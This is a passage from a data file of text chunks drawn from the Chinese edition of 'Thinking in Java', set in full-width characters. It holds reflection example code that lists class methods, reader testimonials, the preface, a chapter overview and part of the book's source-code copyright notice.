．ｉｎｄｅｘＯｆ（ａｒｇｓ［１］）！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｃｔｏｒ［ｉ］．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｃａｔｃｈ （ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｎｏ ｓｕｃｈ ｃｌａｓｓ： ＂ ＋ ｅ）； ｝ ｝ ｝ ／／／：￣ Ｃｌａｓｓ 方法 ｇｅｔＭｅｔｈｏｄｓ（）和 ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）可以分别返回 Ｍｅｔｈｏｄ 和 Ｃｏｎｓｔｒｕｃｔｏｒ 的一个数组。"},
    {"text": "这里便用到了“反射”技术，因为由 Ｃｌａｓｓ．ｆｏｒＮａｍｅ（）产生的结果不能在编译期间获知，所以所有方法签名 信息都会在运行期间提取。 若研究一下联机文档中关于“反射”（Ｒｅｆｌｅｃｔｉｏｎ）的那部分文字，就会发现它 已提供了足够多的支持，可对一个编译期完全未知的对象进行实际的设置以及发出方法调用。"},
    {"text": "同样地，这也 属于几乎完全不用我们操心的一个步骤——Ｊａｖａ 自己会利用这种支持，所以程序设计环境能够控制 Ｊａｖａ Ｂｅａｎｓ——但它无论如何都是非常有趣的。"},
    {"text": "例如，下面是通过调用 ｊａｖａ ＳｈｏｗＭｅｔｈｏｄｓ ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ 得到 的输出结果的一部分： ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ．ｓｔａｒｔｓＷｉｔｈ（ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ，ｉｎｔ） ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ．ｓｔａｒｔｓＷｉｔｈ（ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ） ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ．ｅｎｄｓＷｉｔｈ（ｊａｖａ．ｌａｎｇ．Ｓｔｒｉｎｇ） 若能去掉象 ｊａｖａ．ｌａｎｇ 这样的限定词，结果显然会更令人满意。 有鉴于此，可引入上一章介绍的 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ 类，解决这个问题： ／／： ＳｈｏｗＭｅｔｈｏｄｓＣｌｅａｎ．ｊａｖａ ３４５ ／／ ＳｈｏｗＭｅｔｈｏｄｓ ｗｉｔｈ ｔｈｅ ｑｕａｌｉｆｉｅｒｓ ｓｔｒｉｐｐｅｄ ／／ ｔｏ ｍａｋｅ ｔｈｅ ｒｅｓｕｌｔｓ ｅａｓｉｅｒ ｔｏ ｒｅａｄ ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｗＭｅｔｈｏｄｓＣｌｅａｎ ｛ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ｕｓａｇｅ ＝ ＂ｕｓａｇｅ： ＼ｎ＂ ＋ ＂ＳｈｏｗＭｅｔｈｏｄｓＣｌｅａｎ ｑｕａｌｉｆｉｅｄ．ｃｌａｓｓ．ｎａｍｅ＼ｎ＂ ＋ ＂Ｔｏ ｓｈｏｗ ａｌｌ ｍｅｔｈｏｄｓ ｉｎ ｃｌａｓｓ ｏｒ： ＼ｎ＂ ＋ ＂ＳｈｏｗＭｅｔｈｏｄｓＣｌｅａｎ ｑｕａｌｉｆ．ｃｌａｓｓ．ｎａｍｅ ｗｏｒｄ＼ｎ＂ ＋ ＂Ｔｏ ｓｅａｒｃｈ ｆｏｒ ｍｅｔｈｏｄｓ ｉｎｖｏｌｖｉｎｇ ＇ｗｏｒｄ＇＂； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＜ １） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｕｓａｇｅ）；"},
    {"text": "Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｔｒｙ ｛ Ｃｌａｓｓ ｃ ＝ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ａｒｇｓ［０］）； Ｍｅｔｈｏｄ［］ ｍ ＝ ｃ．ｇｅｔＭｅｔｈｏｄｓ（）； Ｃｏｎｓｔｒｕｃｔｏｒ［］ ｃｔｏｒ ＝ ｃ．ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）； ／／ Ｃｏｎｖｅｒｔ ｔｏ ａｎ ａｒｒａｙ ｏｆ ｃｌｅａｎｅｄ Ｓｔｒｉｎｇｓ： Ｓｔｒｉｎｇ［］ ｎ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｍ．ｌｅｎｇｔｈ ＋ ｃｔｏｒ．ｌｅｎｇｔｈ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｍ［ｉ］．ｔｏＳｔｒｉｎｇ（）； ｎ［ｉ］ ＝ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ．ｓｔｒｉｐ（ｓ）； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｔｏｒ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｃｔｏｒ［ｉ］．ｔｏＳｔｒｉｎｇ（）； ｎ［ｉ ＋ ｍ．ｌｅｎｇｔｈ］ ＝ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ．ｓｔｒｉｐ（ｓ）； ｝ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ １） ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｎ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎ［ｉ］）； ｅｌｓｅ ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｎ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｎ［ｉ］．ｉｎｄｅｘＯｆ（ａｒｇｓ［１］）！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎ［ｉ］）； ｝ ｃａｔｃｈ （ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｎｏ ｓｕｃｈ ｃｌａｓｓ： ＂ ＋ ｅ）； ｝ ｝ ｝ ｃｌａｓｓ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ ｛ ｐｒｉｖａｔｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ ｓｔ； ｐｕｂｌｉｃ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ（Ｓｔｒｉｎｇ ｑｕａｌｉｆｉｅｄ） ｛"},
    {"text": "index 《Ｔ ｈ ｉ ｎ ｋ ｉ ｎ ｇ Ｉ ｎ Ｊ ａ ｖ ａ》中文版 作者：Ｂｒｕｃｅ Ｅｃｋｅｌ 主页：ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 编译：Ｔｒａｎｓ Ｂｏｔ 主页：ｈｔｔｐ：／／ｍｅｍｂｅｒ．ｎｅｔｅａｓｅ．ｃｏｍ／￣ｔｒａｎｓｂｏｔ 致谢 －－献给那些直到现在仍在孜孜不倦创造下一代计算机语言的人们！ 指导您利用万维网的语言进行面向对象的程序设计 完整的正文、更新内容及程序代码可从 ｈｔｔｐ：／／ｗｗｗ．ｂｒｕｃｅｅｃｋｅｌ．ｃｏｍ 下载 从 Ｊａｖａ 的基本语法到它最高级的特性（网络编程、高级面向对象能力、多线程），《Ｔｈｉｎｋｉｎｇ Ｉｎ Ｊａｖａ》都 能对您有所裨益。"},
    {"text": "面向初学者和某种程度的专家 教授 Ｊａｖａ 语言，而不是与平台有关的理论 覆盖 Ｊａｖａ １．２ 的大多数重要方面：Ｓｗｉｎｇ 和新集合 系统讲述 Ｊａｖａ 的高级理论：网络编程、多线程处理、虚拟机性能以及同非 Ｊａｖａ 代码的连接 ３２０ 个有用的 Ｊａｖａ 程序，１５０００ 行以上代码 解释面向对象基本理论，从继承到设计方案 来自与众不同的获奖作者 Ｂｒｕｃｅ Ｅｃｋｅｌ 可通过万维网免费索取源码和持续更新的本书电子版 从 ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 获得配套 ＣＤ（含 １５ 小时以上的合成语音授课） 读者如是说：“最好的 Ｊａｖａ 参考书……绝对让人震惊”；"},
    {"text": "Ｂｒｕｃｅ Ｅｃｋｅｌ 也是《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》的作者，该书曾获 １９９５ 年 ＳｏｆｔｗａｒｅＤｅｖｅｌｏｐｍｅｎｔ Ｊｏｌｔ Ａｗａｒｄ 最佳书 籍大奖。"},
    {"text": "他是 Ｃ＋＋标准协会有表决权的成员之一，曾就面向对象程序设计这一主题写过其他 ５ 本书，发表过 １５０ 多篇文章，并是多家计算机杂志的专栏作家，其中包括《Ｗｅｂ Ｔｅｃｈｎｉｑｕｅｓ》的 Ｊａｖａ 专栏。"},
    {"text": "读者的心声 比我看过的 Ｊａｖａ 书好多了……非常全面，举例都恰到好处，显得颇具“智慧”。 和其他许多 Ｊａｖａ 书 籍相比，我觉得它更成熟、连贯、更有说服力、更严谨。 总之，写得非常好，肯定是一本学习 Ｊａｖａ 的好书。"},
    {"text": "（Ｄｒ． Ｇａｖｉｎ Ｐｉｌｌａｙ，Ｒｅｇｉｓｔｒａｒ，Ｋｉｎｇ Ｅｄｗａｒｄ ＶＩＩ Ｈｏｓｐｉｔａｌ ，南非） 再次感谢您这本令人震惊的书。"},
    {"text": "（Ｒａｎｄａｌｌ Ｒ． Ｈａｗｌｅｙ，Ａｕｔｏｍａｔｉｏｎ Ｔｅｃｈｎｉｃｉａｎ，Ｅｌｉ Ｌｉｌｌｙ ＆ Ｃｏ） 我迄今为止看过的最好的计算机参考书。"},
    {"text": "（Ｒｉｃｈａｒｄ Ｂｒｏｏｋｓ，Ｊａｖａ 顾问，Ｓｕｎ 专业服务公司，达拉斯市） 其他书讨论的都是 Ｊａｖａ“是什么”（讲述语法和库），或者 Ｊａｖａ “怎样用”（编程实例）。"},
    {"text": "《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》显然与众不同，是我所知唯一一本解释 Ｊａｖａ“为什么”的书：为什么象这样 设计，为什么象这样工作，为什么有时不能工作，为什么比 Ｃ＋＋好，为什么没有 Ｃ＋＋好，等等。"},
    {"text": "（Ｐａｔｒｉｃｋ Ｂａｒｒｅｌｌ，Ｎｅｔｗｏｒｋ Ｏｆｆｉｃｅｒ Ｍａｍｃｏ－ＱＡＦ Ｍｆｇ 公司） 市面上大多数 Ｊａｖａ 书作为新手指南都是不错的。"},
    {"text": "（Ｇｅｏｒｇｅ Ｌａｆｒａｍｂｏｉｓｅ，ＬｉｇｈｔＷｏｒｘ 技术咨询公司） 从前给你写过信，主要是表达对《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》一书的惊叹（那本书在我的书架上占有突出的 位置）。"},
    {"text": "（Ｈｕｇｕｅｓ Ｌｅｒｏｙ／／Ｉｒｉｓａ－Ｉｎｒｉａ Ｒｅｎｎｅｓ Ｆｒａｎｃｅ，Ｈｅａｄ ｏｆ Ｓｃｉｅｎｔｉｆｉｃ Ｃｏｍｐｕｔｉｎｇａｎｄ Ｉｎｄｕｓｔｒｉａｌ Ｔｒａｎｆｅｒｔ） ２ 我到现在只读了《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ 》的 ４０ 页内容，但已对它留下了深刻的印象。"},
    {"text": "（Ｊａｃｏ ｖａｎ ｄｅｒＭｅｒｗｅ，软件专家，ＤａｔａＦｕｓｉｏｎ Ｓｙｓｔｅｍｓ 有限公司，Ｓｔｅｌｌｅｎｂｏｓｃｈ，南非） 这是我看过的最好的 Ｊａｖａ 书之一。"},
    {"text": "（Ｂｒｅｔｔ ｇ Ｐｏｒｔｅｒ，资深 程序员，Ａｒｔ ＆ Ｌｏｇｉｃ） 我花了一、两个星期的时间来看你的书，并对以前我看过的一些 Ｊａｖａ 书进行了比较。"},
    {"text": "（Ｒａｍａ Ｋｒｉｓｈｎａ Ｂｈｕｐａｔｈｉ，软件工程师，ＴＣＳＩ 公司，圣琼斯） 这是一本充满智慧的书，与简单的参考书有着截然不同的风格。"},
    {"text": "（Ｇｒａｎｔ Ｓａｙｅｒ，Ｊａｖａ Ｃｏｍｐｏｎｅｎｔｓ Ｇｒｏｕｐ Ｌｅａｄｅｒ，Ｃｅｅｄａｔａ Ｓｙｓｔｅｍｓ Ｐｔｙ 有限公司，澳大利亚） 啧啧，一本可读性强、论据充分的 Ｊａｖａ 书。"},
    {"text": "（Ｊｅｒｒｙ Ｎｏｗｌｉｎ，ＭＴＳ，Ｌｕｃｅｎｔ Ｔｅｃｈｎｏｌｏｇｉｅｓ） 在我看过的 ６ 本 Ｊａｖａ 书中，你的《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》是最好和最有用的。"},
    {"text": "（Ｍｉｃｈａｅｌ Ｖａｎ Ｗａａｓ， Ｐｈ．Ｄ，ＴＭＲ Ａｓｓｏｃｉａｔｅｓ 公司总裁） 我很想对《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》说声谢谢。"},
    {"text": "作为一名学生，我认为你的书有不可估量的价值（我有《Ｃ＋＋ Ｉｎｓｉｄｅ＆Ｏｕｔ》的拷贝，那是关于 Ｃ＋＋的 另一本好书），因为它不仅教我怎样做，而且解释了为什么。"},
    {"text": "（Ｒａｙ Ｆｒｅｄｅｒｉｃｋ Ｄｊａｊａｄｉｎａｔａ，Ｔｒｉｓａｋｔｉ 大学学生，Ｉｎｄｏｎｅｓｉａｎ Ｐｏｒｋ） 你把这本书放在网上引起了相当程度的轰动，我对你的做法表示真诚的感谢与支持！"},
    {"text": "（Ｓｉｍｏｎ Ｇｏｌａｎｄ， ｓｉｍｏｎｓｅｚ＠ｓｍａｒｔｔ．ｃｏｍ，Ｓｉｍｏｎ Ｓａｙｓ Ｃｏｎｓｕｌｔｉｎｇ 公司） 必须认为你的《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》非常优秀！"},
    {"text": "（ＤｉｒｋＤｕｅｈｒ，Ｌｅｘｉｋｏｎ Ｖｅｒｌａｇ，Ｂｅｒｔｅｌｓｍａｎｎ ＡＧ，德国） 谢谢您写出两本空前绝后的书（《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》和《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》）。"},
    {"text": "（Ｄｏｎａｌｄ Ｌａｗｓｏｎ，ＤＣＬＥｎｔｅｒｐｒｉｓｅｓ） 谢谢你花时间写出一本真正有用的 Ｊａｖａ 参考书，你现在绝对能为自己的工作感到骄傲了。"},
    {"text": "（Ｊｅａｎ－Ｙｖｅｓ ＭＥＮＧＡＮＴ，Ｃｈｉｅｆ Ｓｏｆｔｗａｒｅ Ａｒｃｈｉｔｅｃｔ ＮＡＴ－ ＳＹＳＴＥＭ，法国巴黎） 《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》无论在覆盖的范围还是讲述方法上都有独到之处。"},
    {"text": "（Ｎｉｎｇｊｉａｎ Ｗａｎｇ，信息系统工程师，Ｔｈｅ Ｖａｎｇｕｒａｄ Ｇｒｏｕｐ） ４ 《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》是一本出色的、可读性极强的书，我已向我的学生推荐阅读。"},
    {"text": "（Ｄｒ． Ｐｕａｌ Ｇｏｒｍａｎ，计算机科学系，Ｏｔａｇｏ 大学，Ｄｕｎｅｄｉｎ 市，新西兰） 在我看过的书中，你的书最有品味，不象有的书那样粗制滥造。"},
    {"text": "（ＪｅｆｆＬａｐｃｈｉｎｓｋｙ，Ｎｅｔ Ｒｅｓｕｌｔｓ Ｔｅｃｈｎｏｌｏｇｉｅｓ 公司程序员） 这本书简明扼要，看起来不仅毫不费力，而且象是一种享受。 （Ｋｅｉｔｈ Ｒｉｔｃｈｉｅ，Ｊａｖａ 研发组，ＫＬ Ｇｒｏｕｐ 公司） 这真的是我看过的最好的一本 Ｊａｖａ 书！ （Ｄａｎｉｅｌ Ｅｎｇ） 我看过的最好的 Ｊａｖａ 书！ （Ｒｉｃｈ Ｈｏｆｆａｒｔｈ，Ｓｅｎｉｏｒ Ａｒｃｈｉｔｅｃｔ，Ｗｅｓｔ Ｇｒｏｕｐ） 感谢你这本出色的书籍，我好久都没有经历让人如此愉悦的阅读过程了。"},
    {"text": "（Ｍｉｋｏ Ｏ＇Ｓｕｌｌｉｖａｎ，Ｉｄｏｃｓ 公司总裁） 关于《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》： 荣获 １９９５ 年由《软件开发》杂志评选的“最佳书籍”奖！"},
    {"text": "”（Ａｎｄｒｅｗ Ｂｉｎｓｔｏｃｋ，《Ｕｎｉｘ Ｒｅｖｉｅｗ》编辑）” “Ｂｒｕｃｅ 用他对 Ｃ＋＋深刻的洞察力震惊了我们，《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》无疑是各种伟大思想的出色组 合。"},
    {"text": "如果想得到各种困难的 Ｃ＋＋问题的答案，请购买这本杰出的参考书”（Ｇａｒｙ Ｅｎｔｓｍｉｎｇｅｒ，《对 象之道》的作者） “《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》非常耐心和有技巧地讲述了关于 Ｃ＋＋的各种问题，包括如何使用内联、索 引、运算符过载以及动态对象。"},
    {"text": "这样一来，和其他以传统方式发行的书不同，我 就能及时改正已知的所有类别的错误，而不是让它们最终印成铅字，堂而皇之地出现在各位的面前。"},
    {"text": "但它们同时也暴露出了额外的复杂性，阻碍了某些项目的成 功实现（当然，你可以责备程序员和管理层，但假如一种语言能通过捕获你的错误而提供帮助，它为什么不 那样做呢？"},
    {"text": "在理解到 Ｊａｖａ 最终的目标是减轻程序员的负担时，我才真正感受到了震憾，尽管它的潜台词好象是说：“除 了缩短时间和减小产生健壮代码的难度以外，我们不关心其他任何事情。 ”在目前这个初级阶段，达到那个 目标的后果便是代码不能特别快地运行（尽管有许多保证都说 Ｊａｖａ 终究有一天会运行得多么快），但它确实 将开发时间缩短到令人惊讶的地步——几乎只有创建一个等效 Ｃ＋＋程序一半甚至更短的时间。"},
    {"text": "我们认为认清真正的革命发生在 哪里，因为人和人之间的交流变得更方便了——个体与个体之间，个体与组之间，组与组之间，甚至在星球 之间。"},
    {"text": "应已知道程序是一系列语句的集合，知道子程序／函数／宏是什么，知 道象“Ｉｆ”这样的控制语句，也知道象“ｗｈｉｌｅ”这样的循环结构。"},
    {"text": "２ ． Ｊ ａ ｖ ａ 的学习 在我第一本书《Ｕｓｉｎｇ Ｃ＋＋》面市的几乎同一时间（Ｏｓｂｏｒｎｅ／ＭｃＧｒａｗ－Ｈｉｌｌ 于 １９８９ 年出版），我开始教授那 种语言。"},
    {"text": "经过不断的试验和修订（或称“反复”，这是在 Ｊａｖａ 程序设计中非常有 用的一项技术），最后成功地在一门课程中集成了从我的教学经验中总结出来的所有东西——我在很长一段 时间里都在使用。"},
    {"text": "我目前已在 Ｊａｖａ 公开研讨会上公布了这一课程，大家可到 ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 了解详情（对研 讨会的介绍也以 ＣＤ－ＲＯＭ 的形式提供，具体信息可在同样的 Ｗｅｂ 站点找到）。"},
    {"text": "（１） 第 １ 章：对象入门 这一章是对面向对象的程序设计（ＯＯＰ）的一个综述，其中包括对“什么是对象”之类的基本问题的回答，并 讲述了接口与实现、抽象与封装、消息与函数、继承与合成以及非常重要的多形性的概念。"},
    {"text": "这一章会向大家 提出一些对象创建的基本问题，比如构建器、对象存在于何处、创建好后把它们置于什么地方以及魔术般的 垃圾收集器（能够清除不再需要的对象）。"},
    {"text": "（２） 第 ２ 章：一切都是对象 本章将大家带到可以着手写自己的第一个 Ｊａｖａ 程序的地方，所以必须对一些基本概念作出解释，其中包括对 象“句柄”的概念；"},
    {"text": "用 ｂｒｅａｋ 和 ｃｏｎｔｉｎｕｅ 以及 Ｊａｖａ 的标签式 ｂｒｅａｋ 和 ｃｏｎｔｉｕｎｅ （它们被认为是 Ｊａｖａ 中“不见的 ｇｏｇｏ”）退出循环；"},
    {"text": "在这一章的最后，我们将更贴近地观察初始化过程：自动成员初始化、指定成员初始化、初始化的顺 序、ｓｔａｔｉｃ（静态）初始化以及数组初始化等等。"},
    {"text": "首先 要讨论的是 ｐａｃｋａｇｅ 和 ｉｍｐｏｒｔ 关键字，它们的作用是进行文件级的封装（打包）操作，并允许我们构建由类 构成的库（类库）。"},
    {"text": "本章剩下的部分将讨论 ｐｕｂｌｉｃ，ｐｒｉｖａｔｅ 以及 ｐｒｏｔｅｃｔｅｄ 三个关键字、“友好”访问的概念以及各种场合下不同访问控制级的意义。"},
    {"text": "（８） 第 ８ 章：对象的容纳 对一个非常简单的程序来说，它可能只拥有一个固定数量的对象，而且对象的“生存时间”或者“存在时 间”是已知的。"},
    {"text": "本章的宗旨便 是探讨在使用对象的同时用来容纳它们的一些 Ｊａｖａ 工具：从简单的数组到复杂的集合（数据结构），如 Ｖｅｃｔｏｒ 和 Ｈａｓｈｔａｂｌｅ 等。"},
    {"text": "（１１） 第 １１ 章：运行期类型鉴定 若只有指向基础类的一个句柄，Ｊａｖａ 的运行期类型标鉴定（ＲＴＴＩ）使我们能获知一个对象的准确类型是什 么。"},
    {"text": "（１２） 第 １２ 章：传递和返回对象 由于我们在 Ｊａｖａ 中同对象沟通的唯一途径是“句柄”，所以将对象传递到一个函数里以及从那个函数返回一 个对象的概念就显得非常有趣了。"},
    {"text": "（１８） 附录 Ａ：使用非 Ｊａｖａ 代码 对一个完全能够移植的 Ｊａｖａ 程序，它肯定存在一些严重的缺陷：速度太慢，而且不能访问与具体平台有关的 服务。"},
    {"text": "（１９） 附录 Ｂ：对比 Ｃ＋＋和 Ｊａｖａ 对一个 Ｃ＋＋程序员，他应该已经掌握了面向对象程序设计的基本概念，而且 Ｊａｖａ 语法对他来说无疑是非常眼 熟的。"},
    {"text": "这一点是明显的，因为 Ｊａｖａ 本身就是从 Ｃ＋＋衍生而来。 但是，Ｃ＋＋和 Ｊａｖａ 之间的确存在一些显著的差 异。 这些差异意味着 Ｊａｖａ 在 Ｃ＋＋基础上作出的重大改进。 一旦理解了这些差异，就能理解为什么说 Ｊａｖａ 是 一种杰出的语言。 这一附录便是为这个目的设立的，它讲述了使 Ｊａｖａ 与 Ｃ＋＋明显有别的一些重要特性。"},
    {"text": "它与其他计算机书籍的普通配套 ＣＤ 不同，那些 ＣＤ 通常仅包含了书中用到的源码（本书的源码可从 ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 免费下载）。"},
    {"text": "８ ． 源代码 本书所有源码都作为保留版权的免费软件提供，可以独立软件包的形式获得，亦可从 ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 下载。"},
    {"text": "在每个源码文件中，都能发现下述版本声明文字： ／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／ ／／ Ｃｏｐｙｒｉｇｈｔ （ｃ） Ｂｒｕｃｅ Ｅｃｋｅｌ， １９９８ ／／ Ｓｏｕｒｃｅ ｃｏｄｅ ｆｉｌｅ ｆｒｏｍ ｔｈｅ ｂｏｏｋ ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂ ／／ Ａｌｌ ｒｉｇｈｔｓ ｒｅｓｅｒｖｅｄ ＥＸＣＥＰＴ ａｓ ａｌｌｏｗｅｄ ｂｙ ｔｈｅ ／／ ｆｏｌｌｏｗｉｎｇ ｓｔａｔｅｍｅｎｔｓ： Ｙｏｕ ｃａｎ ｆｒｅｅｌｙ ｕｓｅ ｔｈｉｓ ｆｉｌｅ ／／ ｆｏｒ ｙｏｕｒ ｏｗｎ ｗｏｒｋ （ｐｅｒｓｏｎａｌ ｏｒ ｃｏｍｍｅｒｃｉａｌ）， ／／ ｉｎｃｌｕｄｉｎｇ ｍｏｄｉｆｉｃａｔｉｏｎｓ ａｎｄ ｄｉｓｔｒｉｂｕｔｉｏｎ ｉｎ ／／ ｅｘｅｃｕｔａｂｌｅ ｆｏｒｍ ｏｎｌｙ． Ｐｅｒｍｉｓｓｉｏｎ ｉｓ ｇｒａｎｔｅｄ ｔｏ ｕｓｅ ／／ ｔｈｉｓ ｆｉｌｅ ｉｎ ｃｌａｓｓｒｏｏｍ ｓｉｔｕａｔｉｏｎｓ， ｉｎｃｌｕｄｉｎｇ ｉｔｓ ／／ ｕｓｅ ｉｎ ｐｒｅｓｅｎｔａｔｉｏｎ ｍａｔｅｒｉａｌｓ， ａｓ ｌｏｎｇ ａｓ ｔｈｅ ｂｏｏｋ ／／ ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂ ｉｓ ｃｉｔｅｄ ａｓ ｔｈｅ ｓｏｕｒｃｅ． ／／ Ｅｘｃｅｐｔ ｉｎ ｃｌａｓｓｒｏｏｍ ｓｉｔｕａｔｉｏｎｓ， ｙｏｕ ｃａｎｎｏｔ ｃｏｐｙ ／／ ａｎｄ ｄｉｓｔｒｉｂｕｔｅ ｔｈｉｓ ｃｏｄｅ； ｉｎｓｔｅａｄ， ｔｈｅ ｓｏｌｅ ／／ ｄｉｓｔｒｉｂｕｔｉｏｎ ｐｏｉｎｔ ｉｓ ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ ／／ （ａｎｄ ｏｆｆｉｃｉａｌ ｍｉｒｒｏｒ ｓｉｔｅｓ） ｗｈｅｒｅ ｉｔ ｉｓ ／／ ｆｒｅｅｌｙ ａｖａｉｌａｂｌｅ． Ｙｏｕ ｃａｎｎｏｔ ｒｅｍｏｖｅ ｔｈｉｓ ／／ ｃｏｐｙｒｉｇｈｔ ａｎｄ ｎｏｔｉｃｅ． Ｙｏｕ ｃａｎｎｏｔ ｄｉｓｔｒｉｂｕｔｅ ／／ ｍｏｄｉｆｉｅｄ ｖｅｒｓｉｏｎｓ ｏｆ ｔｈｅ ｓｏｕｒｃｅ ｃｏｄｅ ｉｎ ｔｈｉｓ ／／ ｐａｃｋａｇｅ． Ｙｏｕ ｃａｎｎｏｔ ｕｓｅ ｔｈｉｓ ｆｉｌｅ ｉｎ ｐｒｉｎｔｅｄ ／／ ｍｅｄｉａ ｗｉｔｈｏｕｔ ｔｈｅ ｅｘｐｒｅｓｓ ｐｅｒｍｉｓｓｉｏｎ ｏｆ ｔｈｅ ／／ ａｕｔｈｏｒ． Ｂｒｕｃｅ Ｅｃｋｅｌ ｍａｋｅｓ ｎｏ ｒｅｐｒｅｓｅｎｔａｔｉｏｎ ａｂｏｕｔ ／／ ｔｈｅ ｓｕｉｔａｂｉｌｉｔｙ ｏｆ ｔｈｉｓ ｓｏｆｔｗａｒｅ ｆｏｒ ａｎｙ ｐｕｒｐｏｓｅ． ／／ Ｉｔ ｉｓ ｐｒｏｖｉｄｅｄ ＂ａｓ ｉｓ＂ ｗｉｔｈｏｕｔ ｅｘｐｒｅｓｓ ｏｒ ｉｍｐｌｉｅｄ ／／ ｗａｒｒａｎｔｙ ｏｆ ａｎｙ ｋｉｎｄ， ｉｎｃｌｕｄｉｎｇ ａｎｙ ｉｍｐｌｉｅｄ ／／ ｗａｒｒａｎｔｙ ｏｆ ｍｅｒｃｈａｎｔａｂｉｌｉｔｙ， ｆｉｔｎｅｓｓ ｆｏｒ ａ ／／ ｐａｒｔｉｃｕｌａｒ ｐｕｒｐｏｓｅ ｏｒ ｎｏｎ－ｉｎｆｒｉｎｇｅｍｅｎｔ． Ｔｈｅ ｅｎｔｉｒｅ ／／ ｒｉｓｋ ａｓ ｔｏ ｔｈｅ ｑｕａｌｉｔｙ ａｎｄ ｐｅｒｆｏｒｍａｎｃｅ ｏｆ ｔｈｅ ／／ ｓｏｆｔｗａｒｅ ｉｓ ｗｉｔｈ ｙｏｕ． Ｂｒｕｃｅ Ｅｃｋｅｌ ａｎｄ ｔｈｅ ／／ ｐｕｂｌｉｓｈｅｒ ｓｈａｌｌ ｎｏｔ ｂｅ ｌｉａｂｌｅ ｆｏｒ ａｎｙ ｄａｍａｇｅｓ ／／ ｓｕｆｆｅｒｅｄ ｂｙ ｙｏｕ ｏｒ ａｎｙ ｔｈｉｒｄ ｐａｒｔｙ ａｓ ａ ｒｅｓｕｌｔ ｏｆ ／／ ｕｓｉｎｇ ｏｒ ｄｉｓｔｒｉｂｕｔｉｎｇ ｓｏｆｔｗａｒｅ． Ｉｎ ｎｏ ｅｖｅｎｔ ｗｉｌｌ ／／ 